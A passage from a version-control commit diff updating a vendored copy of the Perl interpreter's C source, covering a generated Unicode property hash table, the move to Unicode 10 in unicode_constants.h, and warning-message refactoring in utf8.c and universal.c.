+  {     0,  4542,  4011,   3,  15, PL_TANGUTCOMPONENTS }   /* istangutcomponents */,
+  {     0,   974,    23,  24,   2, PL_CCC__AL }   /* canonicalcombiningclass=al */,
+  {     0,  7288,   994,   8,   3, PL_BASS }   /* script=bass */,
+  {     0,  8096,  2877,   4,   4, PL_DEVA }   /* scx=deva */,
+  {     0,  8096,  6373,   4,  11, PL_HMNG }   /* scx=pahawhhmong */,
+  {  4836,  7136,  7408,   6,   7, PL_CJKEXTD }   /* block=cjkextd */,
+  {    10,  7459,  5777,   3,   6, PL_HEBR }   /* sc=hebrew */,
+  {  1144,   184,  8273,   3,   3, PL_CWCF }   /* iscwcf */,
+  {     1,  1746,   125,  21,   2, PL_LB__CR }   /* graphemeclusterbreak=cr */,
+  {  2132,  3129,  7019,  17,   4, PL_PERM }   /* scriptextensions=perm */,
+  {     0,    84,  3223,   4,   2, -PL_MATH }   /* math=n */,
+  {     3,   184,  7810,   2,   4, PL_GOTH }   /* isgoth */,
+  {     0,  7380,  8633,   7,   3, PL_CCC__103 }   /* ccc=ccc103 */,
+  {     1,  6890,  1768,   4,  22, PL_MISCTECHNICAL }   /* blk=miscellaneoustechnical */,
+  {   801,  7478,  6777,   3,   9, PL_SUPARROWSB }   /* issuparrowsb */,
+  {  2049,  7043,     0,   9,   0, PL_PAUC }   /* paucinhau */,
+  {     8,  8021,  7768,   5,   2, -PL_GREXT }   /* grext=f */,
+  {  3472,  8548,     0,   4,   0, PL_TFNG }   /* tfng */,
+  {     0,  8572,  6962,   3,   9, PL_WB__ML }   /* wb=midletter */,
+  {     1,  6263,   929,  10,   2, PL_LB__CP }   /* linebreak=cp */,
+  {    57,   184,  2788,   3,  17, PL_CHEROKEESUP }   /* ischerokeesupplement */,
+  {  6591,  6263,   496,  10,   2, PL_LB__NU }   /* linebreak=nu */,
+  {  1984,  3129,  5957,  17,   4, PL_MEND }   /* scriptextensions=mend */,
+  {     2,  7136,  6766,   6,  10, PL_SUPARROWSA }   /* block=suparrowsa */,
+  {     2,  3129,  7144,  17,   4, PL_BUGI }   /* scriptextensions=bugi */,
+  {     1,  3129,  8552,  17,   4, PL_TGLG }   /* scriptextensions=tglg */,
+  {    20,  7136,  5717,   6,  12, PL_ETHIOPICEXTA }   /* block=ethiopicexta */,
+  {  1285,  8096,  8604,   4,   4, PL_ZYYY }   /* scx=zyyy */,
+  {     8,  7459,  8544,   3,   4, PL_TAVT }   /* sc=tavt */,
+  {     0,  8121,  7768,   5,   2, -PL_UIDEO }   /* uideo=f */,
+  {   135,    11,  7768,   3,   6, -PL_DIA }   /* dia=false */,
+  {   100,  3129,  2877,  17,   4, PL_DEVA }   /* scriptextensions=deva */,
+  {     0,  7689,   804,   4,   4, PL_ARROWS }   /* isarrows */,
+  {   377,  7478,    17,   3,   1, PL_SO }   /* isso */,
+  {  4933,  8196,  8843,   4,   3, PL_AGE__2 }   /* age=v20 */,
+  {    29,  8096,  8356,   4,   4, PL_KNDA }   /* scx=knda */,
+  {  4185,  7288,  8432,   7,   4, PL_NKO }   /* script=nkoo */,
+  {     1,  8196,  8756,   4,   3, PL_AGE__6_DOT_3 }   /* age=6.3 */,
+  {     5,  6484,  7997,  10,   4, PL_IDC }   /* idcontinue=yes */,
+  {  4384,  7136,  7208,   6,   8, PL_INHIRAGANA }   /* block=hiragana */,
+  {     0,  7689,   948,   3,  16, PL_ANCIENTGREEKMUSIC }   /* isancientgreekmusic */,
+  {     3,   184,   183,   2,  34, PL_MISCPICTOGRAPHS }   /* ismiscellaneoussymbolsandpictographs */,
+  {    15,    11,     0,   3,   0, PL_DIA }   /* dia */,
+  {     0,  8096,  6980,   4,   9, PL_NBAT }   /* scx=nabataean */,
+  {     0,  3129,  7450,  17,   7, PL_HANO }   /* scriptextensions=hanunoo */,
+  {     0,  7380,  8681,   4,   3, PL_CCC__BR }   /* ccc=222 */,
+  {     0,  8096,  7506,   4,   7, PL_LINA }   /* scx=lineara */,
+  {     1,  6263,  4194,  10,  15, PL_LB__CB }   /* linebreak=contingentbreak */,
+  {     0,  6219,  3223,  11,   2, -PL_JOINC }   /* joincontrol=n */,
+  {    14,   217,  2522,   6,  19, PL__PERL_FOLDS_TO_MULTI_CHAR }   /* _perl_folds_to_multi_char */,
+  {  5481,  7459,  8252,   3,   4, PL_SC__BUHD }   /* sc=buhd */,
+  {     0,  2990,  6874,   4,   7, PL_ARABICPFB }   /* inarabicpfb */,
+  {     0,  7459,  7810,   3,   6, PL_GOTH }   /* sc=gothic */,
+  {     0,  7380,  8655,   4,   2, PL_CCC__33 }   /* ccc=33 */,
+  {   103,  3521,  3223,   5,   3, -PL_XPOSIXSPACE }   /* space=no */,
+  {     0,    21,  7852,   2,   6, PL_KANBUN }   /* inkanbun */,
+  {  2239,  3129,  7876,  17,   6, PL_LYCI }   /* scriptextensions=lycian */,
+  {     0,  6263,   415,  10,  11, PL_LB__ID }   /* linebreak=ideographic */
+};
+
+MPH_VALt match_uniprop( const unsigned char * const key, const U16 key_len ) {
+    const unsigned char * ptr= key;
+    const unsigned char * ptr_end= key + key_len;
+    U32 h= MPH_SEED1;
+    U32 s;
+    U32 n;
+    do {
+        h ^= *ptr;
+        h *= MPH_FNV_CONST;
+    } while ( ++ptr < ptr_end );
+    n= h % MPH_BUCKETS;
+    s = mph_table[n].seed2;
+    if (s) {
+        h= (h >> MPH_RSHIFT) ^ s;
+        n = h % MPH_BUCKETS;
+        if (
+            ( mph_table[n].pfx_len + mph_table[n].sfx_len == key_len ) &&
+            ( memcmp(mph_blob + mph_table[n].pfx, key, mph_table[n].pfx_len) == 0 ) &&
+            ( !mph_table[n].sfx_len || memcmp(mph_blob + mph_table[n].sfx,
+                key + mph_table[n].pfx_len, mph_table[n].sfx_len) == 0 )
+        ) {
+            return mph_table[n].value;
+        }
+    }
+    return 0;
+}
+
+/* Generated from:
+ * 4d64b650346ff9ddbcd3986f0da13f3be2379d64c574a120ca7f534d8d17934c lib/Unicode/UCD.pm
+ * ff4404ec64f308bdf7714c50f9fdf0d1d0bf3c34db4d0a67e58ef0c6f88e818f lib/unicore/ArabicShaping.txt
+ * 292171a0a1c13d7e581e8781eb4cdf248243b1ab267354a63c7a14429dea2740 lib/unicore/BidiBrackets.txt
+ * 8f2695cc42989a79a715ab0d2892bd0c998759180cfdfb998674447f48231940 lib/unicore/BidiMirroring.txt
+ * 5ae1649a42ed8ae8cb885af79563f00a9ae17e602405a56ed8aca214da14eea7 lib/unicore/Blocks.txt
+ * 97b43ed3f4b80572c2114200e5e43a6b923d984c74a6caaf27de5b8462c04cb0 lib/unicore/CaseFolding.txt
+ * eedcf6932b4081ee65878454588c803af910a5aed7c8c67e3c38701cbee9b9e4 lib/unicore/CompositionExclusions.txt
+ * 90e48995643f45b08f0ef67fb90de3bb18e26765272bcc0c35c840cbc10b37c1 lib/unicore/DAge.txt
+ * e6ca152259189ec4bc2297e93c6c88f86e162cc52814198263497f3c9b46cbe9 lib/unicore/DCoreProperties.txt
+ * 3e255ccdff4b00cfe0be53bbd583e4fe2e7d4039138579543548a5ecfce45242 lib/unicore/DNormalizationProps.txt
+ * 9f34e2d3ea27ca82f4f14b62411861d1f07c4b9e296d54da112a09cad5b9a48d lib/unicore/EastAsianWidth.txt
+ * 983810c739b56b9ff0fcb5db018c67d584ee515e8a5f4d9348c79ee85167ec37 lib/unicore/HangulSyllableType.txt
+ * 7d514a779ee4baf91262bd83c400cb502c3e435dba4b880c876506be32b8e1d0 lib/unicore/IndicPositionalCategory.txt
+ * f6acead8f84df5c72f3fb70dfc9375279926e4d8ef3480ffff3723095e9804aa lib/unicore/IndicSyllabicCategory.txt
+ * c8ed526f70443535ca6b705980a08c774017ff17e921202dcb7b71ae554047b6 lib/unicore/Jamo.txt
+ * 6b204c3727b77699d04a574b22b1e44facab038642095b8565b49762970d9bf8 lib/unicore/LineBreak.txt
+ * f2357d2bd3526b9e830de72ab038dcfc65a2dff24bcb4c6325c92071eb341f88 lib/unicore/NameAliases.txt
+ * 6c3e6bd1e58b640076a23b83318a8bf6a691d7fc2b2106114d77c5c5a898bced lib/unicore/NamedSequences.txt
+ * 58dbf8fedbd5bf67a3bd5c10eda2f2acf2eae59df5f77884a6f158e98f75cf8c lib/unicore/PropList.txt
+ * a6b0467c3cc7aa4e57d4e5cc7f6e9562b79cf4426dfe438517c28b368ed3e673 lib/unicore/PropValueAliases.txt
+ * 9ca521224e08d30696516ae6bc3d4434659c45df16047c0d31e440783c163a3b lib/unicore/PropertyAliases.txt
+ * 3fd0d744a816ddfd06809f92151ae4a73ec970ac2006806c269732d8951f3911 lib/unicore/ScriptExtensions.txt
+ * d02e24e4c516e9090b6bc9c2d2c8f4c89510b6ed8c5e859d0a861b0dc5cf372d lib/unicore/Scripts.txt
+ * e9947a0e86f27353f0e776403c4826675001210bd39d7114118a8864a57f7472 lib/unicore/SpecialCasing.txt
+ * 52423e4d7492167b62f518f68d54db88930abbbff7f11edfcaec8f726498cab1 lib/unicore/UnicodeData.txt
+ * f28caf260635cebf25fd58124bdc9aa22af08ba4d039ffc584365fb41a31cda5 lib/unicore/VerticalOrientation.txt
+ * 718d174957712410bfad782b10d557e1047574d7ef1642d6bb122f8ca5662c82 lib/unicore/auxiliary/GCBTest.txt
+ * 3b66caefc4fa877d0e50dbbbfa39658c86e29b26c6f206f68d7aec192d4c59b6 lib/unicore/auxiliary/GraphemeBreakProperty.txt
+ * 2aad3836c37fc4c2fa2a24f21586fb3a931dacaf0a1c845a6dc6395f30bd79a7 lib/unicore/auxiliary/LBTest.txt
+ * eacc03e39dddc60cc59ec9bd274b8ac8dfa25d61745ef0d5c8aa1c151a5b68ba lib/unicore/auxiliary/SBTest.txt
+ * e45fa8195bb413b901cc1e3772dfea2cead86805d46a51e3480a5a256e8c24d9 lib/unicore/auxiliary/SentenceBreakProperty.txt
+ * 95789f62e3b1e781dc9ed78f3983d39ff1a5e36ff0b497d6e610446df902b0f6 lib/unicore/auxiliary/WBTest.txt
+ * c207e8ebd06ee591a27b1087f2971f4cd93e960103c453d85d1d9ba26fb8b202 lib/unicore/auxiliary/WordBreakProperty.txt
+ * a3c0839826a30166b2bb06ba58df403547b8c3d9eae995ef889d20d115f4b223 lib/unicore/extracted/DBidiClass.txt
+ * 280afe22f6c4d56566d17d6d1400f33465a979c96f3d99ff3bff9bd14d17e734 lib/unicore/extracted/DBinaryProperties.txt
+ * db7fd6a5e6f068c47dbc3b74fb633fb1d09d17073410fe435295d05ce925c5f6 lib/unicore/extracted/DCombiningClass.txt
+ * 8204c07a7c217bdf22525030ad7b4fb991edf463bffcca7e6dba46b9992e0d99 lib/unicore/extracted/DDecompositionType.txt
+ * e343113719b660bdd81217ec101ce751f844fca0e8d6f15fb21c8ee7dfe7c14c lib/unicore/extracted/DEastAsianWidth.txt
+ * 07c55b0ed7271fe1a5f4d68059291288b1a8ad61940602d18956fd87390c2d9e lib/unicore/extracted/DGeneralCategory.txt
+ * d788b9362ec7681e98f8b9d6ef276546e1a6207dda05317ede55bd686b0940a9 lib/unicore/extracted/DJoinGroup.txt
+ * ebbea3c93eeb7431378885aebac0490d77f6900239c9176f90b6fee030903d96 lib/unicore/extracted/DJoinType.txt
+ * be0f129691d479aa38646e4ca0ec1ee576ae7f75b0300a5624a7fa862fa8abba lib/unicore/extracted/DLineBreak.txt
+ * 92449d354d9f6b6f2f97a292ebb59f6344ffdeb83d120d7d23e569c43ba67cd5 lib/unicore/extracted/DNumType.txt
+ * e3a319527153b0c6c0c549b40fc6f3a01a7a0dcd6620784391db25901df3b154 lib/unicore/extracted/DNumValues.txt
+ * ba5b13123afb59ea004c14fcbac80b5ff428c5b8f1b84bf8602b4ffb7da0407f lib/unicore/mktables
+ * 21653d2744fdd071f9ef138c805393901bb9547cf3e777ebf50215a191f986ea lib/unicore/version
+ * 913d2f93f3cb6cdf1664db888bf840bc4eb074eef824e082fceda24a9445e60c regen/charset_translations.pl
+ * 33533b773e8eb3486472ad21caf90221710a3e0eb12040cf1fd84c24ba53f2dc regen/mk_invlists.pl
+ * 784929499a354028e04efcff331847d420beeca7f3f4f22569b59ec160924b72 regen/mph.pl
+ * ex: set ro: */

Modified: vendor/perl/dist/unicode_constants.h
===================================================================
--- vendor/perl/dist/unicode_constants.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/unicode_constants.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,8 +5,8 @@
  */
 
 
-#ifndef H_UNICODE_CONSTANTS   /* Guard against nested #includes */
-#define H_UNICODE_CONSTANTS   1
+#ifndef PERL_UNICODE_CONSTANTS_H_   /* Guard against nested #includes */
+#define PERL_UNICODE_CONSTANTS_H_   1
 
 /* This file contains #defines for the version of Unicode being used and
  * various Unicode code points.  The values the code point macros expand to
@@ -45,7 +45,7 @@
 =cut
 */
 
-#define UNICODE_MAJOR_VERSION   9
+#define UNICODE_MAJOR_VERSION   10
 #define UNICODE_DOT_VERSION     0
 #define UNICODE_DOT_DOT_VERSION 0
 
@@ -73,6 +73,8 @@
 
 #   define REPLACEMENT_CHARACTER_UTF8  "\xEF\xBF\xBD"    /* U+FFFD */
 
+#   define MAX_UNICODE_UTF8  "\xF4\x8F\xBF\xBF"    /* U+10FFFF */
+
 #   define NBSP_NATIVE  0xA0    /* U+00A0 */
 #   define NBSP_UTF8  "\xC2\xA0"    /* U+00A0 */
 
@@ -116,6 +118,8 @@
 
 #   define REPLACEMENT_CHARACTER_UTF8  "\xDD\x73\x73\x71"    /* U+FFFD */
 
+#   define MAX_UNICODE_UTF8  "\xEE\x42\x73\x73\x73"    /* U+10FFFF */
+
 #   define NBSP_NATIVE  0x41    /* U+00A0 */
 #   define NBSP_UTF8  "\x80\x41"    /* U+00A0 */
 
@@ -159,6 +163,8 @@
 
 #   define REPLACEMENT_CHARACTER_UTF8  "\xDD\x72\x72\x70"    /* U+FFFD */
 
+#   define MAX_UNICODE_UTF8  "\xEE\x42\x72\x72\x72"    /* U+10FFFF */
+
 #   define NBSP_NATIVE  0x41    /* U+00A0 */
 #   define NBSP_UTF8  "\x78\x41"    /* U+00A0 */
 
@@ -177,11 +183,11 @@
 #endif	/* EBCDIC 037 */
 
 /* The number of code points not matching \pC */
-#define NON_OTHER_COUNT_FOR_USE_ONLY_BY_REGCOMP_DOT_C  128021
+#define NON_OTHER_COUNT_FOR_USE_ONLY_BY_REGCOMP_DOT_C  136539
 
 /* The highest code point that has any type of case change */
 #define HIGHEST_CASE_CHANGING_CP_FOR_USE_ONLY_BY_UTF8_DOT_C  0x1E943
 
-#endif /* H_UNICODE_CONSTANTS */
+#endif /* PERL_UNICODE_CONSTANTS_H_ */
 
 /* ex: set ro: */

Modified: vendor/perl/dist/universal.c
===================================================================
--- vendor/perl/dist/universal.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/universal.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -225,8 +225,8 @@
     /* create a PV with value "isa", but with a special address
      * so that perl knows we're really doing "DOES" instead */
     methodname = newSV_type(SVt_PV);
-    SvLEN(methodname) = 0;
-    SvCUR(methodname) = strlen(PL_isa_DOES);
+    SvLEN_set(methodname, 0);
+    SvCUR_set(methodname, strlen(PL_isa_DOES));
     SvPVX(methodname) = (char *)PL_isa_DOES; /* discard 'const' qualifier */
     SvPOK_on(methodname);
     sv_2mortal(methodname);
@@ -233,7 +233,7 @@
     call_sv(methodname, G_SCALAR | G_METHOD);
     SPAGAIN;
 
-    does_it = SvTRUE( TOPs );
+    does_it = SvTRUE_NN( TOPs );
     FREETMPS;
     LEAVE;
 
@@ -509,9 +509,10 @@
     if (items < 1 || items > 2)
 	croak_xs_usage(cv, "sv, failok=0");
     else {
-	SV * const sv = ST(0);
-        const bool failok = (items < 2) ? 0 : SvTRUE(ST(1)) ? 1 : 0;
-        const bool RETVAL = sv_utf8_downgrade(sv, failok);
+	SV * const sv0 = ST(0);
+	SV * const sv1 = ST(1);
+        const bool failok = (items < 2) ? 0 : SvTRUE_NN(sv1) ? 1 : 0;
+        const bool RETVAL = sv_utf8_downgrade(sv0, failok);
 
 	ST(0) = boolSV(RETVAL);
     }
@@ -564,7 +565,8 @@
 	     XSRETURN_NO;
     }
     else if (items == 2) {
-	if (SvTRUE(ST(1))) {
+        SV *sv1 = ST(1);
+	if (SvTRUE_NN(sv1)) {
 	    SvFLAGS(sv) |= SVf_READONLY;
 	    XSRETURN_YES;
 	}
@@ -820,7 +822,7 @@
     if (!rx)
         XSRETURN_UNDEF;
 
-    if (items == 2 && SvTRUE(ST(1))) {
+    if (items == 2 && SvTRUE_NN(ST(1))) {
         flags = RXapif_ALL;
     } else {
         flags = RXapif_ONE;
@@ -853,7 +855,7 @@
     if (!rx)
         XSRETURN_UNDEF;
 
-    if (items == 1 && SvTRUE(ST(0))) {
+    if (items == 1 && SvTRUE_NN(ST(0))) {
         flags = RXapif_ALL;
     } else {
         flags = RXapif_ONE;
@@ -1087,12 +1089,12 @@
         CV* to_native_cv = get_cv("utf8::unicode_to_native", 0);
         CV* to_unicode_cv = get_cv("utf8::native_to_unicode", 0);
 
-        cv_set_call_checker(to_native_cv,
+        cv_set_call_checker_flags(to_native_cv,
                             optimize_out_native_convert_function,
-                            (SV*) to_native_cv);
-        cv_set_call_checker(to_unicode_cv,
+                            (SV*) to_native_cv, 0);
+        cv_set_call_checker_flags(to_unicode_cv,
                             optimize_out_native_convert_function,
-                            (SV*) to_unicode_cv);
+                            (SV*) to_unicode_cv, 0);
     }
 #endif
 

Modified: vendor/perl/dist/unixish.h
===================================================================
--- vendor/perl/dist/unixish.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/unixish.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -138,9 +138,10 @@
 #if defined(__amigaos4__)
 #  define PERL_SYS_INIT_BODY(c,v)					\
 	MALLOC_CHECK_TAINT2(*c,*v) PERL_FPU_INIT; PERLIO_INIT; MALLOC_INIT; amigaos4_init_fork_array(); amigaos4_init_environ_sema();
-#  define PERL_SYS_TERM_BODY()                              \
-    HINTS_REFCNT_TERM; OP_CHECK_MUTEX_TERM;                 \
-    OP_REFCNT_TERM; PERLIO_TERM; MALLOC_TERM; LOCALE_TERM;  \
+#  define PERL_SYS_TERM_BODY()                         \
+    HINTS_REFCNT_TERM; KEYWORD_PLUGIN_MUTEX_TERM;      \
+    OP_CHECK_MUTEX_TERM; OP_REFCNT_TERM; PERLIO_TERM;  \
+    MALLOC_TERM; LOCALE_TERM;                          \
     amigaos4_dispose_fork_array();
 #endif
 
@@ -150,10 +151,10 @@
 #endif
 
 #ifndef PERL_SYS_TERM_BODY
-#  define PERL_SYS_TERM_BODY()                      \
-    HINTS_REFCNT_TERM; OP_CHECK_MUTEX_TERM;         \
-    OP_REFCNT_TERM; PERLIO_TERM; MALLOC_TERM;       \
-    LOCALE_TERM;
+#  define PERL_SYS_TERM_BODY()                         \
+    HINTS_REFCNT_TERM; KEYWORD_PLUGIN_MUTEX_TERM;      \
+    OP_CHECK_MUTEX_TERM; OP_REFCNT_TERM; PERLIO_TERM;  \
+    MALLOC_TERM; LOCALE_TERM;
 
 #endif
 

Modified: vendor/perl/dist/utf8.c
===================================================================
--- vendor/perl/dist/utf8.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/utf8.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,14 +32,18 @@
 #define PERL_IN_UTF8_C
 #include "perl.h"
 #include "invlist_inline.h"
+#include "uni_keywords.h"
 
 static const char malformed_text[] = "Malformed UTF-8 character";
 static const char unees[] =
                         "Malformed UTF-8 character (unexpected end of string)";
+
+/* Be sure to synchronize this message with the similar one in regcomp.c */
 static const char cp_above_legal_max[] =
- "Use of code point 0x%" UVXf " is deprecated; the permissible max is 0x%" UVXf ". This will be fatal in Perl 5.28";
+                        "Use of code point 0x%" UVXf " is not allowed; the"
+                        " permissible max is 0x%" UVXf;
 
-#define MAX_NON_DEPRECATED_CP ((UV) (IV_MAX))
+#define MAX_EXTERNALLY_LEGAL_CP ((UV) (IV_MAX))
 
 /*
 =head1 Unicode Support
@@ -100,6 +104,29 @@
     }
 }
 
+STATIC HV *
+S_new_msg_hv(pTHX_ const char * const message, /* The message text */
+                   U32 categories,  /* Packed warning categories */
+                   U32 flag)        /* Flag associated with this message */
+{
+    /* Creates, populates, and returns an HV* that describes an error message
+     * for the translators between UTF8 and code point */
+
+    SV* msg_sv = newSVpv(message, 0);
+    SV* category_sv = newSVuv(categories);
+    SV* flag_bit_sv = newSVuv(flag);
+
+    HV* msg_hv = newHV();
+
+    PERL_ARGS_ASSERT_NEW_MSG_HV;
+
+    (void) hv_stores(msg_hv, "text", msg_sv);
+    (void) hv_stores(msg_hv, "warn_categories",  category_sv);
+    (void) hv_stores(msg_hv, "flag_bit", flag_bit_sv);
+
+    return msg_hv;
+}
+
 /*
 =for apidoc uvoffuni_to_utf8_flags
 
@@ -116,11 +143,37 @@
 =cut
 */
 
-#define HANDLE_UNICODE_SURROGATE(uv, flags)                         \
+U8 *
+Perl_uvoffuni_to_utf8_flags(pTHX_ U8 *d, UV uv, const UV flags)
+{
+    PERL_ARGS_ASSERT_UVOFFUNI_TO_UTF8_FLAGS;
+
+    return uvoffuni_to_utf8_flags_msgs(d, uv, flags, NULL);
+}
+
+/* All these formats take a single UV code point argument */
+const char surrogate_cp_format[] = "UTF-16 surrogate U+%04" UVXf;
+const char nonchar_cp_format[]   = "Unicode non-character U+%04" UVXf
+                                   " is not recommended for open interchange";
+const char super_cp_format[]     = "Code point 0x%" UVXf " is not Unicode,"
+                                   " may not be portable";
+const char perl_extended_cp_format[] = "Code point 0x%" UVXf " is not"        \
+                                       " Unicode, requires a Perl extension," \
+                                       " and so is not portable";
+
+#define HANDLE_UNICODE_SURROGATE(uv, flags, msgs)                   \
     STMT_START {                                                    \
         if (flags & UNICODE_WARN_SURROGATE) {                       \
-            Perl_ck_warner_d(aTHX_ packWARN(WARN_SURROGATE),        \
-                                "UTF-16 surrogate U+%04" UVXf, uv); \
+            U32 category = packWARN(WARN_SURROGATE);                \
+            const char * format = surrogate_cp_format;              \
+            if (msgs) {                                             \
+                *msgs = new_msg_hv(Perl_form(aTHX_ format, uv),     \
+                                   category,                        \
+                                   UNICODE_GOT_SURROGATE);          \
+            }                                                       \
+            else {                                                  \
+                Perl_ck_warner_d(aTHX_ category, format, uv);       \
+            }                                                       \
         }                                                           \
         if (flags & UNICODE_DISALLOW_SURROGATE) {                   \
             return NULL;                                            \
@@ -127,12 +180,19 @@
         }                                                           \
     } STMT_END;
 
-#define HANDLE_UNICODE_NONCHAR(uv, flags)                           \
+#define HANDLE_UNICODE_NONCHAR(uv, flags, msgs)                     \
     STMT_START {                                                    \
         if (flags & UNICODE_WARN_NONCHAR) {                         \
-            Perl_ck_warner_d(aTHX_ packWARN(WARN_NONCHAR),          \
-		 "Unicode non-character U+%04" UVXf " is not "      \
-                 "recommended for open interchange", uv);           \
+            U32 category = packWARN(WARN_NONCHAR);                  \
+            const char * format = nonchar_cp_format;                \
+            if (msgs) {                                             \
+                *msgs = new_msg_hv(Perl_form(aTHX_ format, uv),     \
+                                   category,                        \
+                                   UNICODE_GOT_NONCHAR);            \
+            }                                                       \
+            else {                                                  \
+                Perl_ck_warner_d(aTHX_ category, format, uv);       \
+            }                                                       \
         }                                                           \
         if (flags & UNICODE_DISALLOW_NONCHAR) {                     \
             return NULL;                                            \
@@ -145,11 +205,63 @@
 #define MARK    UTF_CONTINUATION_MARK
 #define MASK    UTF_CONTINUATION_MASK
 
+/*
+=for apidoc uvchr_to_utf8_flags_msgs
+
+THIS FUNCTION SHOULD BE USED IN ONLY VERY SPECIALIZED CIRCUMSTANCES.
+
+Most code should use C<L</uvchr_to_utf8_flags>()> rather than call this directly.
+
+This function is for code that wants any warning and/or error messages to be
+returned to the caller rather than be displayed.  All messages that would have
+been displayed if all lexcial warnings are enabled will be returned.
+
+It is just like C<L</uvchr_to_utf8_flags>> but it takes an extra parameter
+placed after all the others, C<msgs>.  If this parameter is 0, this function
+behaves identically to C<L</uvchr_to_utf8_flags>>.  Otherwise, C<msgs> should
+be a pointer to an C<HV *> variable, in which this function creates a new HV to
+contain any appropriate messages.  The hash has three key-value pairs, as
+follows:
+
+=over 4
+
+=item C<text>
+
+The text of the message as a C<SVpv>.
+
+=item C<warn_categories>
+
+The warning category (or categories) packed into a C<SVuv>.
+
+=item C<flag>
+
+A single flag bit associated with this message, in a C<SVuv>.
+The bit corresponds to some bit in the C<*errors> return value,
+such as C<UNICODE_GOT_SURROGATE>.
+
+=back
+
+It's important to note that specifying this parameter as non-null will cause
+any warnings this function would otherwise generate to be suppressed, and
+instead be placed in C<*msgs>.  The caller can check the lexical warnings state
+(or not) when choosing what to do with the returned messages.
+
+The caller, of course, is responsible for freeing any returned HV.
+
+=cut
+*/
+
+/* Undocumented; we don't want people using this.  Instead they should use
+ * uvchr_to_utf8_flags_msgs() */
 U8 *
-Perl_uvoffuni_to_utf8_flags(pTHX_ U8 *d, UV uv, const UV flags)
+Perl_uvoffuni_to_utf8_flags_msgs(pTHX_ U8 *d, UV uv, const UV flags, HV** msgs)
 {
-    PERL_ARGS_ASSERT_UVOFFUNI_TO_UTF8_FLAGS;
+    PERL_ARGS_ASSERT_UVOFFUNI_TO_UTF8_FLAGS_MSGS;
 
+    if (msgs) {
+        *msgs = NULL;
+    }
+
     if (OFFUNI_IS_INVARIANT(uv)) {
 	*d++ = LATIN1_TO_NATIVE(uv);
 	return d;
@@ -180,10 +292,10 @@
             if (UNLIKELY(   UNICODE_IS_32_CONTIGUOUS_NONCHARS(uv)
                          || UNICODE_IS_END_PLANE_NONCHAR_GIVEN_NOT_SUPER(uv)))
             {
-                HANDLE_UNICODE_NONCHAR(uv, flags);
+                HANDLE_UNICODE_NONCHAR(uv, flags, msgs);
             }
             else if (UNLIKELY(UNICODE_IS_SURROGATE(uv))) {
-                HANDLE_UNICODE_SURROGATE(uv, flags);
+                HANDLE_UNICODE_SURROGATE(uv, flags, msgs);
             }
         }
 #endif
@@ -198,33 +310,44 @@
      * performance hit on these high EBCDIC code points. */
 
     if (UNLIKELY(UNICODE_IS_SUPER(uv))) {
-        if (   UNLIKELY(uv > MAX_NON_DEPRECATED_CP)
-            && ckWARN_d(WARN_DEPRECATED))
-        {
-            Perl_warner(aTHX_ packWARN(WARN_DEPRECATED),
-                        cp_above_legal_max, uv, MAX_NON_DEPRECATED_CP);
+        if (UNLIKELY(uv > MAX_EXTERNALLY_LEGAL_CP)) {
+            Perl_croak(aTHX_ cp_above_legal_max, uv, MAX_EXTERNALLY_LEGAL_CP);
         }
-        if (   (flags & UNICODE_WARN_SUPER)
-            || (   UNICODE_IS_ABOVE_31_BIT(uv)
-                && (flags & UNICODE_WARN_ABOVE_31_BIT)))
+        if (       (flags & UNICODE_WARN_SUPER)
+            || (   (flags & UNICODE_WARN_PERL_EXTENDED)
+                && UNICODE_IS_PERL_EXTENDED(uv)))
         {
-            Perl_ck_warner_d(aTHX_ packWARN(WARN_NON_UNICODE),
+            const char * format = super_cp_format;
+            U32 category = packWARN(WARN_NON_UNICODE);
+            U32 flag = UNICODE_GOT_SUPER;
 
-              /* Choose the more dire applicable warning */
-              (UNICODE_IS_ABOVE_31_BIT(uv))
-              ? "Code point 0x%" UVXf " is not Unicode, and not portable"
-              : "Code point 0x%" UVXf " is not Unicode, may not be portable",
-             uv);
+            /* Choose the more dire applicable warning */
+            if (UNICODE_IS_PERL_EXTENDED(uv)) {
+                format = perl_extended_cp_format;
+                if (flags & (UNICODE_WARN_PERL_EXTENDED
+                            |UNICODE_DISALLOW_PERL_EXTENDED))
+                {
+                    flag = UNICODE_GOT_PERL_EXTENDED;
+                }
+            }
+
+            if (msgs) {
+                *msgs = new_msg_hv(Perl_form(aTHX_ format, uv),
+                                   category, flag);
+            }
+            else {
+                Perl_ck_warner_d(aTHX_ packWARN(WARN_NON_UNICODE), format, uv);
+            }
         }
-        if (flags & UNICODE_DISALLOW_SUPER
-            || (   UNICODE_IS_ABOVE_31_BIT(uv)
-                && (flags & UNICODE_DISALLOW_ABOVE_31_BIT)))
+        if (       (flags & UNICODE_DISALLOW_SUPER)
+            || (   (flags & UNICODE_DISALLOW_PERL_EXTENDED)
+                &&  UNICODE_IS_PERL_EXTENDED(uv)))
         {
             return NULL;
         }
     }
     else if (UNLIKELY(UNICODE_IS_END_PLANE_NONCHAR_GIVEN_NOT_SUPER(uv))) {
-        HANDLE_UNICODE_NONCHAR(uv, flags);
+        HANDLE_UNICODE_NONCHAR(uv, flags, msgs);
     }
 
     /* Test for and handle 4-byte result.   In the test immediately below, the
@@ -243,10 +366,10 @@
                    characters.  The end-plane non-characters for EBCDIC were
                    handled just above */
         if (UNLIKELY(UNICODE_IS_32_CONTIGUOUS_NONCHARS(uv))) {
-            HANDLE_UNICODE_NONCHAR(uv, flags);
+            HANDLE_UNICODE_NONCHAR(uv, flags, msgs);
         }
         else if (UNLIKELY(UNICODE_IS_SURROGATE(uv))) {
-            HANDLE_UNICODE_SURROGATE(uv, flags);
+            HANDLE_UNICODE_SURROGATE(uv, flags, msgs);
         }
 #endif
 
@@ -286,9 +409,8 @@
 
     *(d++) = uv;
 
-This function accepts any UV as input, but very high code points (above
-C<IV_MAX> on the platform)  will raise a deprecation warning.  This is
-typically 0x7FFF_FFFF in a 32-bit word.
+This function accepts any code point from 0..C<IV_MAX> as input.
+C<IV_MAX> is typically 0x7FFF_FFFF in a 32-bit word.
 
 It is possible to forbid or warn on non-Unicode code points, or those that may
 be problematic by using L</uvchr_to_utf8_flags>.
@@ -323,9 +445,8 @@
 
